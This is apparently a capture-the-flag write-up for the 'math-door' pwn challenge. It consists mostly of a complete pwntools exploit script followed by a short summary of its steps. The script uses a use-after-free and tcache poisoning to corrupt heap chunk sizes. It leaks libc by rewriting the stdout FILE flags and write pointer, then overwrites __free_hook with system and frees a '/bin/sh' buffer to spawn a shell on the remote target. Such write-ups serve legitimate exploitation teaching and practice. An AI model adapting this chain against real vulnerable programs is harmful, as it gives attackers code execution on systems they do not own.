Tags: heap unsorted_bin 

Rating:

```python
import pwn
import time
from IPython import embed
import warnings

warnings.filterwarnings(action='ignore', category=BytesWarning)

elf = pwn.ELF("./math-door")
libc = elf.libc
# p = elf.process()
p= pwn.remote("68.183.45.143", "31441")

pwn.context.binary = elf
pwn.context.log_level = "DEBUG"
pwn.context(terminal=['tmux', 'split-window', '-h'])

def create():
p.sendlineafter("Action:", "1")
p.recvuntil("created with index ")
return int(p.recvuntil(".").strip(b"."))

def delete(i):
p.sendlineafter("Action:", "2")
p.sendlineafter("index:", str(i))

def add(i, v0, v1=0, v2=0):
p.sendlineafter("Action:", "3")
p.sendlineafter("index:", str(i))
p.sendlineafter("glyph:", pwn.p64(v0) + pwn.p64(v1) + pwn.p64(v2))

def add_raw(i, v0):
p.sendlineafter("Action:", "3")
p.sendlineafter("index:", str(i))
p.sendlineafter("glyph:", v0)

# Step 1: Use the UAF to create a mis-aligned chunk
create()
create()
create()
delete(0)
delete(1)

# Edit the tcache_bin chunk to point to the size field of chunk_2
add(1, 0x30, 0, 0)
create()
libc_pointer_chunk_4 = create()

# Edit Size (512)
add(libc_pointer_chunk_4, 0, 0x501, 0)

# The unsorted chunk needs to point somewhere valid, so add some chunks
for i in range(0x500 // 0x20):
print(i)
create()
create()

# Free the large chunk into unsorted bin, libc leak
delete(2)

# Step 2: Overwrite the stdout flags
delete(6)
delete(7)
delete(8)
add(8, pwn.unsigned(-0x60), 0, 0)

# p/x &_IO_2_1_stdout_.file._flags
add(libc_pointer_chunk_4, 0, 0, 2752) # Move from libc arena to stdout.file.flags

create()
create()
file_flags_chunk_id = create()
print(f"{file_flags_chunk_id=}")

# _flags = 0xfbad0000 // Magic number
# _flags & = ~_IO_NO_WRITES // _flags = 0xfbad0000
# _flags | = _IO_CURRENTLY_PUTTING // _flags = 0xfbad0800
# _flags | = _IO_IS_APPENDING // _flags = 0xfbad1800
# https://teamrocketist.github.io/2020/03/01/Pwn-Aero-2020-Plane-Market/
add(file_flags_chunk_id, pwn.unsigned(0xFBAD1800 - 0xFBAD2887), 0, 0)

# Step 3: Move the stdout write_base back by a few 100 bytes
delete(10)
delete(11)
delete(12)
add(12, pwn.unsigned(-0xE0), 0, 0)

# p &_IO_2_1_stdout_.file._IO_write_base
# p &_IO_2_1_stdout_.file._flags
add(libc_pointer_chunk_4, 0, 0, 0x10) # ._flags -> _IO_write_base - 0x10
create()
create()
io_write_base_chunk_id = create()
add(io_write_base_chunk_id, 0, 0, pwn.unsigned(-0x20))

# Get Leak
p.recv(5)
libc_leak = pwn.u64(p.recv(8))
print(f"{hex(libc_leak)=}")
libc.address = libc_leak - (0x7F7A5F095980 - 0x7F7A5EEA9000)

# pwn.gdb.attach(p)

# __free_hook
delete(20)
delete(21)
delete(22)
add(22, pwn.unsigned(-0x220), 0, 0)

add(libc_pointer_chunk_4, 0, 0, 0x1798) # &_IO_2_1_stdout_.file._IO_write_base to __free_hook

create()
create()
free_hook_chunk_id = create()
print(f"{free_hook_chunk_id=}")

# Step 4: __free_hook with system, call free with "/bin/sh"
add(free_hook_chunk_id, libc.sym.system, 0, 0)
add_raw(30, b"/bin/sh\x00")
delete(30)

p.interactive()
```

tl;drl;
1.) Abuse the UAF to overwrite the size of another chunk
2.) Free a large chunk to get a unsorted bin leak
3.) Use the new libc pointers to overwrite stdout.flags + stdout.write_buffer to leak libc
4.) Write system to free hook for profit

For full details, see video writeup
[https://www.youtube.com/watch?v=Pp0QR6MFZeQ](https://www.youtube.com/watch?v=Pp0QR6MFZeQ)

Original writeup (https://www.youtube.com/watch?v=Pp0QR6MFZeQ).